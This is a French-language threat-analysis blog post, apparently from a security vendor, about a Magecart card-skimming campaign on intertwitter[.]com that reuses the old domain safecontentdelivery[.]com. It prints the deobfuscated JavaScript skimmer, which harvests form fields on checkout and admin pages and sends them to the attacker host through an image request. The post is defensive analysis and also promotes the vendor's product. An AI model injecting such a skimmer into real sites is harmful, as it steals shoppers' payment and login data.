Nous avons récemment identifié une attaque de skimming de type Magecart toujours active sur le site WordPress intertwitter[.]com, une plateforme douteuse proposant des packages d'abonnés Twitter (X). Si l'activité en elle-même est déjà suspecte (acheter des abonnés X est contraire aux CGU), ce qui est plus préoccupant, c'est la réutilisation d'une ancienne infrastructure et la durée pendant laquelle cette attaque est restée indétectée.
Signalé initialement par : Sansec, février 2024
Sansec confirme que les infrastructures malveillantes restent souvent actives pendant de longues périodes, parfois jusqu'à deux ans. S'en remettre à la police d'Internet pour démanteler des serveurs frauduleux n'est donc pas une stratégie de défense fiable.
Willem de Groot -Sansec
Le problème d'une détection basée uniquement sur les IOC
La plupart des programmes de sécurité s'appuient encore largement sur les indicateurs de compromission (IOC) — domaines malveillants connus, adresses IP, hachages — comme première ligne de défense, et souvent la seule. Bien qu'utile, cette approche échoue à détecter les menaces qui évoluent lentement, réutilisent des infrastructures ou opèrent dans des contextes ciblés à haute valeur, comme le skimming côté client.
Dans ce cas précis :
- Le domaine malveillant safecontentdelivery[.]com avait été signalé il y a plus d'un an.
- Le même IOC a été réutilisé dans plusieurs campagnes de skimming.
- Malgré sa présence publique depuis des mois, il reste actif, ce qui indique l'absence d'application automatisée ou de détection généralisée.
Ce n'est pas parce qu'un IOC est connu qu'il est bloqué.
Les attaquants comptent là-dessus. Ils recyclent leurs infrastructures, se dissimulent dans des sites peu fréquentés ou douteux, et attendent que la fenêtre de détection se referme. Après tout, pourquoi réinventer la roue ?
Nous avons vu ce domaine apparaître dans plusieurs campagnes Magecart au cours de l'année écoulée. Sa longévité démontre que les défenses basées sur des listes sont faciles à outlive.
Comment les attaques côté client se cachent à la vue de tous
Les attaques côté client sont notoirement difficiles à détecter. Non pas parce que leur charge utile est sophistiquée, mais parce qu'elles opèrent en dehors du périmètre de visibilité des outils de sécurité traditionnels.
Voici pourquoi :
- Aucune compromission côté serveur requise : un seul script injecté (via un plugin, une bibliothèque tierce ou une faille XSS stockée) suffit.
- Exécution uniquement dans le navigateur de la victime : les journaux serveur, les WAF et les systèmes backend ne voient jamais le comportement malveillant.
- Obfuscation et évasion : ces scripts utilisent des techniques comme la détection des DevTools, la substitution de fonctions natives du navigateur et l'exfiltration contournant le CORS pour éviter toute analyse.
- Logique d'activation furtive : le script ne s'active que sur les pages de paiement ou d'administration, réduisant ainsi son exposition et évitant d'attirer l'attention.
Logique de l'attaque
- Condition de déclenchement : activé uniquement sur les URL contenant /checkout ou /admin.
- Cibles : tous les champs de formulaire
<input>,<select>,<textarea>. - Exfiltration via :
new Image().srcpour contourner le CORS. - Destination : hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php.
- Anti-analyse : obfuscation, manipulation du JSON et détection de l'inspection du navigateur.
Charge utile désobfusquée :
if (/checkout|admin/i.test(location.href)) {
const fields = document.querySelectorAll("input, select, textarea");
const data = {};
fields.forEach(field => {
const name = field.name || field.id;
const value = field.tagName === "SELECT"
? field.options[field.selectedIndex].text
: field.value;
if (name && value) data[name] = value;
});
const exfilUrl = `hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php?rnd=${Math.random() * 1e7}&data=${btoa(JSON.stringify(data))}&loc=${btoa(location.href)}`;
new Image().src = exfilUrl;
}Comment sécuriser votre entreprise
Se fier uniquement aux IOC est une approche réactive. Pour se défendre contre les menaces modernes, en particulier côté client, il vous faut :
- Analyse comportementale : détecter des schémas tels que le scraping de formulaires ou d'identifiants, l'injection de scripts suspects et les modifications dynamiques du DOM.
- Surveillance JavaScript en temps réel : utiliser des outils qui analysent le comportement des scripts en direct dans le navigateur.
- Hygiène de la chaîne d'approvisionnement : limiter les dépendances tierces et utiliser l'intégrité des sous-ressources (SRI) autant que possible.
- Politiques de sécurité du contenu (CSP) : restreindre les scripts autorisés à s'exécuter et les destinations vers lesquelles ils peuvent envoyer des données.
- Analyses régulières basées sur le navigateur : utiliser des outils comme urlscan.io, des scripts Chrome headless ou des moniteurs commerciaux de menaces web pour analyser ce que les utilisateurs voient réellement.
Pour tout ce qui précède, vous pouvez compter sur cside.
Q : Que sont les indicateurs de compromission (IOC) et pourquoi ne suffisent-ils pas en matière de cybersécurité ?
Les IOC sont des éléments de preuve que l'on peut trouver dans les journaux système, le trafic réseau ou d'autres sources de données. Ils indiquent une potentielle violation de sécurité, comme un trafic réseau inhabituel, une activité suspecte sur des fichiers ou des tentatives d'accès non autorisées. Le problème avec les IOC est qu'ils sont réactifs, et les attaquants modernes changent souvent de tactique, rendant les IOC précédents moins efficaces face aux nouvelles menaces émergentes. En effectuant une analyse approfondie de la charge utile, cside peut prévenir ces nouvelles attaques sans dépendre de flux de menaces statiques.
Q : Comment les attaques côté client échappent-elles aux outils de sécurité traditionnels ?
Les attaques côté client se produisent dans le navigateur web de l'utilisateur, où du JavaScript malveillant peut s'exécuter. Contrairement aux outils de sécurité traditionnels — tels que les pare-feux applicatifs web (WAF), les outils d'analyse statique de la sécurité des applications (SAST) et autres outils d'analyse axés sur les périmètres réseau et l'infrastructure côté serveur — ces attaques exploitent des vulnérabilités dans du JavaScript tiers sans interagir avec votre backend ni avec les communications serveur. Elles peuvent ainsi contourner les défenses lors de l'interaction finale cruciale entre votre code et l'appareil de l'utilisateur.
Q : Qu'est-ce qu'une attaque de skimming Magecart et comment fonctionne-t-elle ?
Les attaques Magecart ciblent les sites e-commerce basés sur Magento en injectant du JavaScript malveillant pour capturer les informations de carte bancaire lors du paiement. Visa rapporte que 70 % des vols de données de cartes bancaires se produisent désormais via une méthode côté client, comme Magecart ou l'eskimming. Lorsque les clients saisissent leurs informations de paiement, le code malveillant s'exécute — sous certaines conditions — et capture ces données. Pour le client, la transaction semble normale, le laissant dans l'ignorance que ses données ont été compromises.
Q : Comment les attaquants évitent-ils la détection lorsqu'ils utilisent des scripts côté client ?
Le JavaScript tiers peut être fortement obscurci, le rendant difficile à lire. Ces scripts utilisent souvent des domaines à l'apparence légitime qui imitent le comportement habituel d'un site web. Ils activent fréquemment du code malveillant qui se déclenche sous des conditions spécifiques ou dissimulent leur charge utile au sein de services publicitaires légitimes, leur permettant de capturer des informations depuis des formulaires d'inscription ou lors des paiements. Parce que le JavaScript est très dynamique et n'a pas besoin d'interagir avec votre serveur, il peut rester hors de portée des outils de sécurité traditionnels. Seule la visibilité sur la charge utile complète permet de stopper une attaque côté client — ce que seul un proxy complet peut offrir.
Q : Comment la politique de sécurité du contenu (CSP) peut-elle aider à prévenir les attaques côté client ?
La mise en œuvre d'une politique de sécurité du contenu fonctionne comme une liste d'autorisation pour les scripts de votre site web, en se basant uniquement sur les adresses de ces scripts. Une fois en place, le navigateur bloque tout ce qui ne répond pas à ces critères. Cependant, la CSP ne peut pas inspecter la charge utile ni prévenir les attaques dynamiques qui se déclenchent sous des conditions spécifiques liées à la géolocalisation, à l'heure ou à l'appareil. Seule la visibilité sur la charge utile complète permet de stopper une attaque côté client — ce que seul un proxy complet peut offrir.
